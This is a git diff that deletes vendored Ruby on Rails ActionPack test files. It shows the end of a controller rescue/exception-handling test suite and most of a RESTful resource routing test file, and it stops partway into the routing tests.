-  def test_local_request_when_remote_addr_isnt_locahost
-    @controller.expects(:request).returns(@request).at_least(4)
-    with_remote_addr '1.2.3.4' do
-      assert !@controller.send(:local_request?)
-    end
-    with_remote_addr '2002::102:304' do
-      assert !@controller.send(:local_request?)
-    end
-  end
-
-  def test_rescue_responses
-    responses = ActionController::Base.rescue_responses
-
-    assert_equal ActionController::Rescue::DEFAULT_RESCUE_RESPONSE, responses.default
-    assert_equal ActionController::Rescue::DEFAULT_RESCUE_RESPONSE, responses[Exception.new]
-
-    assert_equal :not_found, responses[ActionController::RoutingError.name]
-    assert_equal :not_found, responses[ActionController::UnknownAction.name]
-    assert_equal :not_found, responses['ActiveRecord::RecordNotFound']
-    assert_equal :conflict, responses['ActiveRecord::StaleObjectError']
-    assert_equal :unprocessable_entity, responses['ActiveRecord::RecordInvalid']
-    assert_equal :unprocessable_entity, responses['ActiveRecord::RecordNotSaved']
-    assert_equal :method_not_allowed, responses['ActionController::MethodNotAllowed']
-    assert_equal :not_implemented, responses['ActionController::NotImplemented']
-  end
-
-  def test_rescue_templates
-    templates = ActionController::Base.rescue_templates
-
-    assert_equal ActionController::Rescue::DEFAULT_RESCUE_TEMPLATE, templates.default
-    assert_equal ActionController::Rescue::DEFAULT_RESCUE_TEMPLATE, templates[Exception.new]
-
-    assert_equal 'missing_template',  templates[ActionView::MissingTemplate.name]
-    assert_equal 'routing_error',     templates[ActionController::RoutingError.name]
-    assert_equal 'unknown_action',    templates[ActionController::UnknownAction.name]
-    assert_equal 'template_error',    templates[ActionView::TemplateError.name]
-  end
-
-  def test_not_implemented
-    with_all_requests_local false do
-      with_rails_public_path(".") do
-        head :not_implemented
-      end
-    end
-    assert_response :not_implemented
-    assert_equal "GET, PUT", @response.headers['Allow']
-  end
-
-  def test_method_not_allowed
-    with_all_requests_local false do
-      with_rails_public_path(".") do
-        get :method_not_allowed
-      end
-    end
-    assert_response :method_not_allowed
-    assert_equal "GET, HEAD, PUT", @response.headers['Allow']
-  end
-
-  def test_rescue_handler
-    get :not_authorized
-    assert_response :forbidden
-  end
-  def test_rescue_handler_string
-    get :not_authorized_raise_as_string
-    assert_response :forbidden
-  end
-
-  def test_rescue_handler_with_argument
-    @controller.expects(:show_errors).once.with { |e| e.is_a?(Exception) }
-    get :record_invalid
-  end
-  def test_rescue_handler_with_argument_as_string
-    @controller.expects(:show_errors).once.with { |e| e.is_a?(Exception) }
-    get :record_invalid_raise_as_string
-  end
-
-  def test_proc_rescue_handler
-    get :not_allowed
-    assert_response :forbidden
-  end
-  def test_proc_rescue_handler_as_string
-    get :not_allowed_raise_as_string
-    assert_response :forbidden
-  end
-
-  def test_proc_rescue_handle_with_argument
-    get :invalid_request
-    assert_equal "RescueController::InvalidRequest", @response.body
-  end
-  def test_proc_rescue_handle_with_argument_as_string
-    get :invalid_request_raise_as_string
-    assert_equal "RescueController::InvalidRequestToRescueAsString", @response.body
-  end
-
-  def test_block_rescue_handler
-    get :bad_gateway
-    assert_response 502
-  end
-  def test_block_rescue_handler_as_string
-    get :bad_gateway_raise_as_string
-    assert_response 502
-  end
-
-  def test_block_rescue_handler_with_argument
-    get :resource_unavailable
-    assert_equal "RescueController::ResourceUnavailable", @response.body
-  end
-
-  def test_block_rescue_handler_with_argument_as_string
-    get :resource_unavailable_raise_as_string
-    assert_equal "RescueController::ResourceUnavailableToRescueAsString", @response.body
-  end
-
-  def test_rescue_dispatcher_exceptions
-    env = @request.env
-    env["action_controller.rescue.request"] = @request
-    env["action_controller.rescue.response"] = @response
-
-    RescueController.call_with_exception(env, ActionController::RoutingError.new("Route not found"))
-    assert_equal "no way", @response.body
-  end
-
-  def test_rescue_dispatcher_exceptions_without_request_set
-    @request.env['REQUEST_URI'] = '/no_way'
-    response = RescueController.call_with_exception(@request.env, ActionController::RoutingError.new("Route not found"))
-    assert_kind_of ActionController::Response, response
-    assert_equal "no way", response.body
-  end
-
-  protected
-    def with_all_requests_local(local = true)
-      old_local, ActionController::Base.consider_all_requests_local =
-        ActionController::Base.consider_all_requests_local, local
-      yield
-    ensure
-      ActionController::Base.consider_all_requests_local = old_local
-    end
-
-    def with_remote_addr(addr)
-      old_remote_addr, @request.remote_addr = @request.remote_addr, addr
-      yield
-    ensure
-      @request.remote_addr = old_remote_addr
-    end
-
-    def with_rails_public_path(rails_root)
-      old_rails = Object.const_get(:Rails) rescue nil
-      mod = Object.const_set(:Rails, Module.new)
-      (class << mod; self; end).instance_eval do
-        define_method(:public_path) { "#{rails_root}/public" }
-      end
-      yield
-    ensure
-      Object.module_eval { remove_const(:Rails) } if defined?(Rails)
-      Object.const_set(:Rails, old_rails) if old_rails
-    end
-
-    def with_rails_root(path = nil,&block)
-      old_rails_root = RAILS_ROOT if defined?(RAILS_ROOT)
-      if path
-        silence_warnings { Object.const_set(:RAILS_ROOT, path) }
-      else
-        Object.remove_const(:RAILS_ROOT) rescue nil
-      end
-
-      with_rails_public_path(path, &block)
-
-    ensure
-      if old_rails_root
-        silence_warnings { Object.const_set(:RAILS_ROOT, old_rails_root) }
-      else
-        Object.remove_const(:RAILS_ROOT) rescue nil
-      end
-    end
-end
-
-class ExceptionInheritanceRescueController < ActionController::Base
-
-  class ParentException < StandardError
-  end
-
-  class ChildException < ParentException
-  end
-
-  class GrandchildException < ChildException
-  end
-
-  rescue_from ChildException,      :with => lambda { head :ok }
-  rescue_from ParentException,     :with => lambda { head :created }
-  rescue_from GrandchildException, :with => lambda { head :no_content }
-
-  def raise_parent_exception
-    raise ParentException
-  end
-
-  def raise_child_exception
-    raise ChildException
-  end
-
-  def raise_grandchild_exception
-    raise GrandchildException
-  end
-end
-
-class ExceptionInheritanceRescueControllerTest < ActionController::TestCase
-  def test_bottom_first
-    get :raise_grandchild_exception
-    assert_response :no_content
-  end
-
-  def test_inheritance_works
-    get :raise_child_exception
-    assert_response :created
-  end
-end
-
-class ControllerInheritanceRescueController < ExceptionInheritanceRescueController
-  class FirstExceptionInChildController < StandardError
-  end
-
-  class SecondExceptionInChildController < StandardError
-  end
-
-  rescue_from FirstExceptionInChildController, 'SecondExceptionInChildController', :with => lambda { head :gone }
-
-  def raise_first_exception_in_child_controller
-    raise FirstExceptionInChildController
-  end
-
-  def raise_second_exception_in_child_controller
-    raise SecondExceptionInChildController
-  end
-end
-
-class ControllerInheritanceRescueControllerTest < ActionController::TestCase
-  def test_first_exception_in_child_controller
-    get :raise_first_exception_in_child_controller
-    assert_response :gone
-  end
-
-  def test_second_exception_in_child_controller
-    get :raise_second_exception_in_child_controller
-    assert_response :gone
-  end
-
-  def test_exception_in_parent_controller
-    get :raise_parent_exception
-    assert_response :created
-  end
-end
diff --git a/vendor/rails/actionpack/test/controller/resources_test.rb b/vendor/rails/actionpack/test/controller/resources_test.rb
deleted file mode 100644
index 0b639e36..00000000
--- a/vendor/rails/actionpack/test/controller/resources_test.rb
+++ /dev/null
@@ -1,1393 +0,0 @@
-require 'abstract_unit'
-
-class ResourcesController < ActionController::Base
-  def index() render :nothing => true end
-  alias_method :show, :index
-  def rescue_action(e) raise e end
-end
-
-class ThreadsController  < ResourcesController; end
-class MessagesController < ResourcesController; end
-class CommentsController < ResourcesController; end
-class AuthorsController < ResourcesController; end
-class LogosController < ResourcesController; end
-
-class AccountsController <  ResourcesController; end
-class AdminController   <  ResourcesController; end
-class ProductsController < ResourcesController; end
-class ImagesController < ResourcesController; end
-
-module Backoffice
-  class ProductsController < ResourcesController; end
-  class TagsController < ResourcesController; end
-  class ManufacturersController < ResourcesController; end
-  class ImagesController < ResourcesController; end
-
-  module Admin
-    class ProductsController < ResourcesController; end
-    class ImagesController < ResourcesController; end
-  end
-end
-
-class ResourcesTest < ActionController::TestCase
-  # The assertions in these tests are incompatible with the hash method
-  # optimisation.  This could indicate user level problems
-  def setup
-    ActionController::Base.optimise_named_routes = false
-  end
-
-  def teardown
-    ActionController::Base.optimise_named_routes = true
-  end
-
-  def test_should_arrange_actions
-    resource = ActionController::Resources::Resource.new(:messages,
-      :collection => { :rss => :get, :reorder => :post, :csv => :post },
-      :member     => { :rss => :get, :atom => :get, :upload => :post, :fix => :post },
-      :new        => { :preview => :get, :draft => :get })
-
-    assert_resource_methods [:rss],                   resource, :collection, :get
-    assert_resource_methods [:csv, :reorder],         resource, :collection, :post
-    assert_resource_methods [:edit, :rss, :atom],     resource, :member,     :get
-    assert_resource_methods [:upload, :fix],          resource, :member,     :post
-    assert_resource_methods [:new, :preview, :draft], resource, :new,        :get
-  end
-
-  def test_should_resource_controller_name_equal_resource_name_by_default
-    resource = ActionController::Resources::Resource.new(:messages, {})
-    assert_equal 'messages', resource.controller
-  end
-
-  def test_should_resource_controller_name_equal_controller_option
-    resource = ActionController::Resources::Resource.new(:messages, :controller => 'posts')
-    assert_equal 'posts', resource.controller
-  end
-
-  def test_should_all_singleton_paths_be_the_same
-    [ :path, :nesting_path_prefix, :member_path ].each do |method|
-      resource = ActionController::Resources::SingletonResource.new(:messages, :path_prefix => 'admin')
-      assert_equal 'admin/messages', resource.send(method)
-    end
-  end
-
-  def test_default_restful_routes
-    with_restful_routing :messages do
-      assert_simply_restful_for :messages
-    end
-  end
-
-  def test_override_paths_for_member_and_collection_methods
-    collection_methods = { 'rss' => :get, 'reorder' => :post, 'csv' => :post }
-    member_methods    = { 'rss' => :get, :atom => :get, :upload => :post, :fix => :post }
-    path_names = {:new => 'nuevo', 'rss' => 'canal', :fix => 'corrigir' }
-
-    with_restful_routing :messages,
-        :collection => collection_methods,
-        :member => member_methods,
-        :path_names => path_names do
-
-      assert_restful_routes_for :messages,
-          :collection => collection_methods,
-          :member => member_methods,
-          :path_names => path_names do |options|
-        member_methods.each do |action, method|
-          assert_recognizes(options.merge(:action => action.to_s, :id => '1'),
-            :path => "/messages/1/#{path_names[action] || action}",
-            :method => method)
-        end
-
-        collection_methods.each do |action, method|
-          assert_recognizes(options.merge(:action => action),
-            :path => "/messages/#{path_names[action] || action}",
-            :method => method)
-        end
-      end
-
-      assert_restful_named_routes_for :messages,
-          :collection => collection_methods,
-          :member => member_methods,
-          :path_names => path_names do |options|
-
-        collection_methods.keys.each do |action|
-          assert_named_route "/messages/#{path_names[action] || action}", "#{action}_messages_path", :action => action
-        end
-
-        member_methods.keys.each do |action|
-          assert_named_route "/messages/1/#{path_names[action] || action}", "#{action}_message_path", :action => action, :id => "1"
-        end
-
-      end
-    end
-  end
-
-  def test_override_paths_for_default_restful_actions
-    resource = ActionController::Resources::Resource.new(:messages,
-      :path_names => {:new => 'nuevo', :edit => 'editar'})
-    assert_equal resource.new_path, "#{resource.path}/nuevo"
-  end
-
-  def test_multiple_default_restful_routes
-    with_restful_routing :messages, :comments do
-      assert_simply_restful_for :messages
-      assert_simply_restful_for :comments
-    end
-  end
-
-  def test_with_custom_conditions
-    with_restful_routing :messages, :conditions => { :subdomain => 'app' } do
-      assert_equal 'app', ActionController::Routing::Routes.named_routes.routes[:messages].conditions[:subdomain]
-    end
-  end
-
-  def test_irregular_id_with_no_requirements_should_raise_error
-    expected_options = {:controller => 'messages', :action => 'show', :id => '1.1.1'}
-
-    with_restful_routing :messages do
-      assert_raise(ActionController::RoutingError) do
-        assert_recognizes(expected_options, :path => 'messages/1.1.1', :method => :get)
-      end
-    end
-  end
-
-  def test_irregular_id_with_requirements_should_pass
-    expected_options = {:controller => 'messages', :action => 'show', :id => '1.1.1'}
-
-    with_restful_routing(:messages, :requirements => {:id => /[0-9]\.[0-9]\.[0-9]/}) do
-      assert_recognizes(expected_options, :path => 'messages/1.1.1', :method => :get)
-    end
-  end
-
-  def test_with_path_prefix_requirements
-    expected_options = {:controller => 'messages', :action => 'show', :thread_id => '1.1.1', :id => '1'}
-    with_restful_routing :messages, :path_prefix => '/thread/:thread_id', :requirements => {:thread_id => /[0-9]\.[0-9]\.[0-9]/} do
-      assert_recognizes(expected_options, :path => 'thread/1.1.1/messages/1', :method => :get)
-    end
-  end
-
-  def test_irregular_id_requirements_should_get_passed_to_member_actions
-    expected_options = {:controller => 'messages', :action => 'custom', :id => '1.1.1'}
-
-    with_restful_routing(:messages, :member => {:custom => :get}, :requirements => {:id => /[0-9]\.[0-9]\.[0-9]/}) do
-      assert_recognizes(expected_options, :path => 'messages/1.1.1/custom', :method => :get)
-    end
-  end
-
-  def test_with_path_prefix
-    with_restful_routing :messages, :path_prefix => '/thread/:thread_id' do
-      assert_simply_restful_for :messages, :path_prefix => 'thread/5/', :options => { :thread_id => '5' }
-    end
-  end
-
-  def test_multiple_with_path_prefix
-    with_restful_routing :messages, :comments, :path_prefix => '/thread/:thread_id' do
-      assert_simply_restful_for :messages, :path_prefix => 'thread/5/', :options => { :thread_id => '5' }
-      assert_simply_restful_for :comments, :path_prefix => 'thread/5/', :options => { :thread_id => '5' }
-    end
-  end
-
-  def test_with_name_prefix
-    with_restful_routing :messages, :name_prefix => 'post_' do
-      assert_simply_restful_for :messages, :name_prefix => 'post_'
-    end
-  end
-
-  def test_with_collection_actions
-    actions = { 'a' => :get, 'b' => :put, 'c' => :post, 'd' => :delete }
-
-    with_restful_routing :messages, :collection => actions do
-      assert_restful_routes_for :messages do |options|
-        actions.each do |action, method|
-          assert_recognizes(options.merge(:action => action), :path => "/messages/#{action}", :method => method)
-        end
-      end
-
-      assert_restful_named_routes_for :messages do |options|
-        actions.keys.each do |action|
-          assert_named_route "/messages/#{action}", "#{action}_messages_path", :action => action
-        end
-      end
-    end
-  end
-
-  def test_with_collection_actions_and_name_prefix
-    actions = { 'a' => :get, 'b' => :put, 'c' => :post, 'd' => :delete }
-
-    with_restful_routing :messages, :path_prefix => '/threads/:thread_id', :name_prefix => "thread_", :collection => actions do
-      assert_restful_routes_for :messages, :path_prefix => 'threads/1/', :name_prefix => 'thread_', :options => { :thread_id => '1' } do |options|
-        actions.each do |action, method|
-          assert_recognizes(options.merge(:action => action), :path => "/threads/1/messages/#{action}", :method => method)
-        end
-      end
-
-      assert_restful_named_routes_for :messages, :path_prefix => 'threads/1/', :name_prefix => 'thread_', :options => { :thread_id => '1' } do |options|
-        actions.keys.each do |action|
-          assert_named_route "/threads/1/messages/#{action}", "#{action}_thread_messages_path", :action => action
-        end
-      end
-    end
-  end
-
-  def test_with_collection_actions_and_name_prefix_and_member_action_with_same_name
-    actions = { 'a' => :get }
-
-    with_restful_routing :messages, :path_prefix => '/threads/:thread_id', :name_prefix => "thread_", :collection => actions, :member => actions do
-      assert_restful_routes_for :messages, :path_prefix => 'threads/1/', :name_prefix => 'thread_', :options => { :thread_id => '1' } do |options|
-        actions.each do |action, method|
-          assert_recognizes(options.merge(:action => action), :path => "/threads/1/messages/#{action}", :method => method)
-        end
-      end
-
-      assert_restful_named_routes_for :messages, :path_prefix => 'threads/1/', :name_prefix => 'thread_', :options => { :thread_id => '1' } do |options|
-        actions.keys.each do |action|
-          assert_named_route "/threads/1/messages/#{action}", "#{action}_thread_messages_path", :action => action
-        end
-      end
-    end
-  end
-
-  def test_with_collection_action_and_name_prefix_and_formatted
-    actions = { 'a' => :get, 'b' => :put, 'c' => :post, 'd' => :delete }
-
-    with_restful_routing :messages, :path_prefix => '/threads/:thread_id', :name_prefix => "thread_", :collection => actions do
-      assert_restful_routes_for :messages, :path_prefix => 'threads/1/', :name_prefix => 'thread_', :options => { :thread_id => '1' } do |options|
-        actions.each do |action, method|
-          assert_recognizes(options.merge(:action => action, :format => 'xml'), :path => "/threads/1/messages/#{action}.xml", :method => method)
-        end
-      end
-
-      assert_restful_named_routes_for :messages, :path_prefix => 'threads/1/', :name_prefix => 'thread_', :options => { :thread_id => '1' } do |options|
-        actions.keys.each do |action|
-          assert_named_route "/threads/1/messages/#{action}.xml", "#{action}_thread_messages_path", :action => action, :format => 'xml'
-        end
-      end
-    end
-  end
-
-  def test_with_member_action
-    [:put, :post].each do |method|
-      with_restful_routing :messages, :member => { :mark => method } do
-        mark_options = {:action => 'mark', :id => '1'}
-        mark_path    = "/messages/1/mark"
-        assert_restful_routes_for :messages do |options|
-          assert_recognizes(options.merge(mark_options), :path => mark_path, :method => method)
-        end
-
-        assert_restful_named_routes_for :messages do |options|
-          assert_named_route mark_path, :mark_message_path, mark_options
-        end
-      end
-    end
-  end
-
-  def test_with_member_action_and_requirement
-    expected_options = {:controller => 'messages', :action => 'mark', :id => '1.1.1'}
-  
-    with_restful_routing(:messages, :requirements => {:id => /[0-9]\.[0-9]\.[0-9]/}, :member => { :mark => :get }) do
-      assert_recognizes(expected_options, :path => 'messages/1.1.1/mark', :method => :get)
-    end
-  end
-
-  def test_member_when_override_paths_for_default_restful_actions_with
-    [:put, :post].each do |method|
-      with_restful_routing :messages, :member => { :mark => method }, :path_names => {:new => 'nuevo'} do
-        mark_options = {:action => 'mark', :id => '1', :controller => "messages"}
-        mark_path    = "/messages/1/mark"
-
-        assert_restful_routes_for :messages, :path_names => {:new => 'nuevo'} do |options|
-          assert_recognizes(options.merge(mark_options), :path => mark_path, :method => method)
-        end
-
-        assert_restful_named_routes_for :messages, :path_names => {:new => 'nuevo'} do |options|
-          assert_named_route mark_path, :mark_message_path, mark_options
-        end
-      end
-    end
-  end
-
-  def test_member_when_changed_default_restful_actions_and_path_names_not_specified
-    default_path_names = ActionController::Base.resources_path_names
-    ActionController::Base.resources_path_names = {:new => 'nuevo', :edit => 'editar'}
-
-    with_restful_routing :messages do
-      new_options = { :action => 'new', :controller => 'messages' }
-      new_path = "/messages/nuevo"
-      edit_options = { :action => 'edit', :id => '1', :controller => 'messages' }
-      edit_path = "/messages/1/editar"
-
-      assert_restful_routes_for :messages do |options|
-        assert_recognizes(options.merge(new_options), :path => new_path, :method => :get)
-      end
-
-      assert_restful_routes_for :messages do |options|
-        assert_recognizes(options.merge(edit_options), :path => edit_path, :method => :get)
-      end
-    end
-  ensure
-    ActionController::Base.resources_path_names = default_path_names
-  end
-
-  def test_with_two_member_actions_with_same_method
-    [:put, :post].each do |method|
-      with_restful_routing :messages, :member => { :mark => method, :unmark => method } do
-        %w(mark unmark).each do |action|
-          action_options = {:action => action, :id => '1'}
-          action_path    = "/messages/1/#{action}"
-          assert_restful_routes_for :messages do |options|
-            assert_recognizes(options.merge(action_options), :path => action_path, :method => method)
-          end
-
-          assert_restful_named_routes_for :messages do |options|
-            assert_named_route action_path, "#{action}_message_path".to_sym, action_options
-          end
-        end
-      end
-    end
-  end
-
-  def test_array_as_collection_or_member_method_value
-    with_restful_routing :messages, :collection => { :search => [:get, :post] }, :member => { :toggle => [:get, :post] } do
-      assert_restful_routes_for :messages do |options|
-        [:get, :post].each do |method|
-          assert_recognizes(options.merge(:action => 'search'), :path => "/messages/search", :method => method)
-        end
-        [:get, :post].each do |method|
-          assert_recognizes(options.merge(:action => 'toggle', :id => '1'), :path => '/messages/1/toggle', :method => method)
-        end
-      end
-    end
-  end
-
-  def test_with_new_action
-    with_restful_routing :messages, :new => { :preview => :post } do
-      preview_options = {:action => 'preview'}
-      preview_path    = "/messages/new/preview"
-      assert_restful_routes_for :messages do |options|
-        assert_recognizes(options.merge(preview_options), :path => preview_path, :method => :post)
-      end
-
-      assert_restful_named_routes_for :messages do |options|
-        assert_named_route preview_path, :preview_new_message_path, preview_options
-      end
-    end
-  end
-
-  def test_with_new_action_with_name_prefix
-    with_restful_routing :messages, :new => { :preview => :post }, :path_prefix => '/threads/:thread_id', :name_prefix => 'thread_' do
-      preview_options = {:action => 'preview', :thread_id => '1'}
-      preview_path    = "/threads/1/messages/new/preview"
-      assert_restful_routes_for :messages, :path_prefix => 'threads/1/', :name_prefix => 'thread_', :options => { :thread_id => '1' } do |options|
-        assert_recognizes(options.merge(preview_options), :path => preview_path, :method => :post)
-      end
-
-      assert_restful_named_routes_for :messages, :path_prefix => 'threads/1/', :name_prefix => 'thread_', :options => { :thread_id => '1' } do |options|
-        assert_named_route preview_path, :preview_new_thread_message_path, preview_options
-      end
-    end
-  end
-
-  def test_with_formatted_new_action_with_name_prefix
-    with_restful_routing :messages, :new => { :preview => :post }, :path_prefix => '/threads/:thread_id', :name_prefix => 'thread_' do
-      preview_options = {:action => 'preview', :thread_id => '1', :format => 'xml'}
-      preview_path    = "/threads/1/messages/new/preview.xml"
-      assert_restful_routes_for :messages, :path_prefix => 'threads/1/', :name_prefix => 'thread_', :options => { :thread_id => '1' } do |options|
-        assert_recognizes(options.merge(preview_options), :path => preview_path, :method => :post)
-      end
-
-      assert_restful_named_routes_for :messages, :path_prefix => 'threads/1/', :name_prefix => 'thread_', :options => { :thread_id => '1' } do |options|
-        assert_named_route preview_path, :preview_new_thread_message_path, preview_options
-      end
-    end
-  end
-
-  def test_override_new_method
-    with_restful_routing :messages do
-      assert_restful_routes_for :messages do |options|
-        assert_recognizes(options.merge(:action => "new"), :path => "/messages/new", :method => :get)
-        assert_raise(ActionController::MethodNotAllowed) do
-          ActionController::Routing::Routes.recognize_path("/messages/new", :method => :post)
-        end
-      end
-    end
-
-    with_restful_routing :messages, :new => { :new => :any } do
-      assert_restful_routes_for :messages do |options|
-        assert_recognizes(options.merge(:action => "new"), :path => "/messages/new", :method => :post)
-        assert_recognizes(options.merge(:action => "new"), :path => "/messages/new", :method => :get)
-      end
-    end
-  end
-
-  def test_nested_restful_routes
-    with_routing do |set|
-      set.draw do |map|
-        map.resources :threads do |map|
-          map.resources :messages do |map|
-            map.resources :comments
-          end
-        end
-      end
-
-      assert_simply_restful_for :threads
-      assert_simply_restful_for :messages,
-        :name_prefix => 'thread_',
-        :path_prefix => 'threads/1/',
-        :options => { :thread_id => '1' }
-      assert_simply_restful_for :comments,
-        :name_prefix => 'thread_message_',
-        :path_prefix => 'threads/1/messages/2/',
-        :options => { :thread_id => '1', :message_id => '2' }
-    end
-  end
-
-  def test_nested_restful_routes_with_overwritten_defaults
-    with_routing do |set|
-      set.draw do |map|
-        map.resources :threads do |map|
-          map.resources :messages, :name_prefix => nil do |map|
-            map.resources :comments, :name_prefix => nil
-          end
-        end
-      end
-
-      assert_simply_restful_for :threads
-      assert_simply_restful_for :messages,
-        :path_prefix => 'threads/1/',
-        :options => { :thread_id => '1' }
-      assert_simply_restful_for :comments,
-        :path_prefix => 'threads/1/messages/2/',
-        :options => { :thread_id => '1', :message_id => '2' }
-    end
-  end
-
-  def test_shallow_nested_restful_routes
-    with_routing do |set|
-      set.draw do |map|
-        map.resources :threads, :shallow => true do |map|
-          map.resources :messages do |map|
-            map.resources :comments
-          end
-        end
-      end
-
-      assert_simply_restful_for :threads,
-        :shallow => true
-      assert_simply_restful_for :messages,
-        :name_prefix => 'thread_',
-        :path_prefix => 'threads/1/',
-        :shallow => true,
-        :options => { :thread_id => '1' }
-      assert_simply_restful_for :comments,
-        :name_prefix => 'message_',
-        :path_prefix => 'messages/2/',
-        :shallow => true,
-        :options => { :message_id => '2' }
-    end
-  end
-
-  def test_shallow_nested_restful_routes_with_namespaces
-    with_routing do |set|
-      set.draw do |map|
-        map.namespace :backoffice do |map|
-          map.namespace :admin do |map|
-            map.resources :products, :shallow => true do |map|
-              map.resources :images
-            end
-          end
-        end
-      end
-
-      assert_simply_restful_for :products,
-        :controller => 'backoffice/admin/products',
-        :namespace => 'backoffice/admin/',
-        :name_prefix => 'backoffice_admin_',
-        :path_prefix => 'backoffice/admin/',
-        :shallow => true
-      assert_simply_restful_for :images,
-        :controller => 'backoffice/admin/images',
-        :namespace => 'backoffice/admin/',
-        :name_prefix => 'backoffice_admin_product_',
-        :path_prefix => 'backoffice/admin/products/1/',
-        :shallow => true,
-        :options => { :product_id => '1' }
-    end
-  end
-
-  def test_restful_routes_dont_generate_duplicates
-    with_restful_routing :messages do
-      routes = ActionController::Routing::Routes.routes
-      routes.each do |route|
-        routes.each do |r|
-          next if route === r # skip the comparison instance
-          assert distinct_routes?(route, r), "Duplicate Route: #{route}"
-        end
-      end
-    end
-  end
-
-  def test_should_create_singleton_resource_routes
-    with_singleton_resources :account do
-      assert_singleton_restful_for :account
-    end
-  end
-
-  def test_should_create_multiple_singleton_resource_routes
-    with_singleton_resources :account, :logo do
-      assert_singleton_restful_for :account
-      assert_singleton_restful_for :logo
-    end
-  end
-
-  def test_should_create_nested_singleton_resource_routes
-    with_routing do |set|
-      set.draw do |map|
-        map.resource :admin, :controller => 'admin' do |admin|
-          admin.resource :account
-        end
-      end
-
-      assert_singleton_restful_for :admin, :controller => 'admin'
-      assert_singleton_restful_for :account, :name_prefix => "admin_", :path_prefix => 'admin/'
-    end
-  end
-
-  def test_resource_has_many_should_become_nested_resources
-    with_routing do |set|
-      set.draw do |map|
-        map.resources :messages, :has_many => [ :comments, :authors ]
-      end
-
-      assert_simply_restful_for :messages
-      assert_simply_restful_for :comments, :name_prefix => "message_", :path_prefix => 'messages/1/', :options => { :message_id => '1' }
-      assert_simply_restful_for :authors,  :name_prefix => "message_", :path_prefix => 'messages/1/', :options => { :message_id => '1' }
-    end
-  end
-
-  def test_resources_has_many_hash_should_become_nested_resources
-    with_routing do |set|
-      set.draw do |map|
-        map.resources :threads, :has_many => { :messages => [ :comments, { :authors => :threads } ] }
-      end
-
-      assert_simply_restful_for :threads
-      assert_simply_restful_for :messages, :name_prefix => "thread_", :path_prefix => 'threads/1/', :options => { :thread_id => '1' }
-      assert_simply_restful_for :comments, :name_prefix => "thread_message_", :path_prefix => 'threads/1/messages/1/', :options => { :thread_id => '1', :message_id => '1' }
-      assert_simply_restful_for :authors,  :name_prefix => "thread_message_", :path_prefix => 'threads/1/messages/1/', :options => { :thread_id => '1', :message_id => '1' }
-      assert_simply_restful_for :threads,  :name_prefix => "thread_message_author_", :path_prefix => 'threads/1/messages/1/authors/1/', :options => { :thread_id => '1', :message_id => '1', :author_id => '1' }
-    end
-  end
-
-  def test_shallow_resource_has_many_should_become_shallow_nested_resources
-    with_routing do |set|
-      set.draw do |map|
-        map.resources :messages, :has_many => [ :comments, :authors ], :shallow => true
-      end
-
-      assert_simply_restful_for :messages, :shallow => true
-      assert_simply_restful_for :comments, :name_prefix => "message_", :path_prefix => 'messages/1/', :shallow => true, :options => { :message_id => '1' }
-      assert_simply_restful_for :authors,  :name_prefix => "message_", :path_prefix => 'messages/1/', :shallow => true, :options => { :message_id => '1' }
-    end
-  end
-
-  def test_resource_has_one_should_become_nested_resources
-    with_routing do |set|
-      set.draw do |map|
-        map.resources :messages, :has_one => :logo
-      end
-
-      assert_simply_restful_for :messages
-      assert_singleton_restful_for :logo, :name_prefix => 'message_', :path_prefix => 'messages/1/', :options => { :message_id => '1' }
-    end
-  end
-
-  def test_shallow_resource_has_one_should_become_shallow_nested_resources
-    with_routing do |set|
-      set.draw do |map|
-        map.resources :messages, :has_one => :logo, :shallow => true
-      end
-
-      assert_simply_restful_for :messages, :shallow => true
-      assert_singleton_restful_for :logo, :name_prefix => 'message_', :path_prefix => 'messages/1/', :shallow => true, :options => { :message_id => '1' }
-    end
-  end
-
-  def test_singleton_resource_with_member_action
-    [:put, :post].each do |method|
-      with_singleton_resources :account, :member => { :reset => method } do
-        reset_options = {:action => 'reset'}
-        reset_path    = "/account/reset"
-        assert_singleton_routes_for :account do |options|
-          assert_recognizes(options.merge(reset_options), :path => reset_path, :method => method)
-        end
-
-        assert_singleton_named_routes_for :account do |options|
-          assert_named_route reset_path, :reset_account_path, reset_options
-        end
-      end
-    end
-  end
-
-  def test_singleton_resource_with_two_member_actions_with_same_method
-    [:put, :post].each do |method|
-      with_singleton_resources :account, :member => { :reset => method, :disable => method } do
-        %w(reset disable).each do |action|
-          action_options = {:action => action}
-          action_path    = "/account/#{action}"
-          assert_singleton_routes_for :account do |options|
-            assert_recognizes(options.merge(action_options), :path => action_path, :method => method)
-          end
-
-          assert_singleton_named_routes_for :account do |options|
-            assert_named_route action_path, "#{action}_account_path".to_sym, action_options
-          end
-        end
-      end
-    end
-  end
-
-  def test_should_nest_resources_in_singleton_resource
-    with_routing do |set|
-      set.draw do |map|
-        map.resource :account do |account|
-          account.resources :messages
-        end
-      end
-
-      assert_singleton_restful_for :account
-      assert_simply_restful_for :messages, :name_prefix => "account_", :path_prefix => 'account/'
-    end
-  end
-
-  def test_should_nest_resources_in_singleton_resource_with_path_prefix
-    with_routing do |set|
-      set.draw do |map|
-        map.resource(:account, :path_prefix => ':site_id') do |account|
-          account.resources :messages
-        end
-      end
-
-      assert_singleton_restful_for :account, :path_prefix => '7/', :options => { :site_id => '7' }
-      assert_simply_restful_for :messages, :name_prefix => "account_", :path_prefix => '7/account/', :options => { :site_id => '7' }
-    end
-  end
-
-  def test_should_nest_singleton_resource_in_resources
-    with_routing do |set|
-      set.draw do |map|
-        map.resources :threads do |thread|
-          thread.resource :admin, :controller => 'admin'
-        end
-      end
-
-      assert_simply_restful_for :threads
-      assert_singleton_restful_for :admin, :controller => 'admin', :name_prefix => 'thread_', :path_prefix => 'threads/5/', :options => { :thread_id => '5' }
-    end
-  end
-
-  def test_should_not_allow_delete_or_put_on_collection_path
-    controller_name = :messages
-    with_restful_routing controller_name do
-      options = { :controller => controller_name.to_s }
-      collection_path = "/#{controller_name}"
-
-      assert_raise(ActionController::MethodNotAllowed) do
-        assert_recognizes(options.merge(:action => 'update'), :path => collection_path, :method => :put)
-      end
-
-      assert_raise(ActionController::MethodNotAllowed) do
-        assert_recognizes(options.merge(:action => 'destroy'), :path => collection_path, :method => :delete)
-      end
-    end
-  end
-
-  def test_should_not_allow_invalid_head_method_for_member_routes
-    with_routing do |set|
-      set.draw do |map|
-        assert_raise(ArgumentError) do
-          map.resources :messages, :member => {:something => :head}
-        end
-      end
-    end
-  end
-
-  def test_should_not_allow_invalid_http_methods_for_member_routes
-    with_routing do |set|
-      set.draw do |map|
-        assert_raise(ArgumentError) do
-          map.resources :messages, :member => {:something => :invalid}
-        end
-      end
-    end
-  end
-
-  def test_resource_action_separator
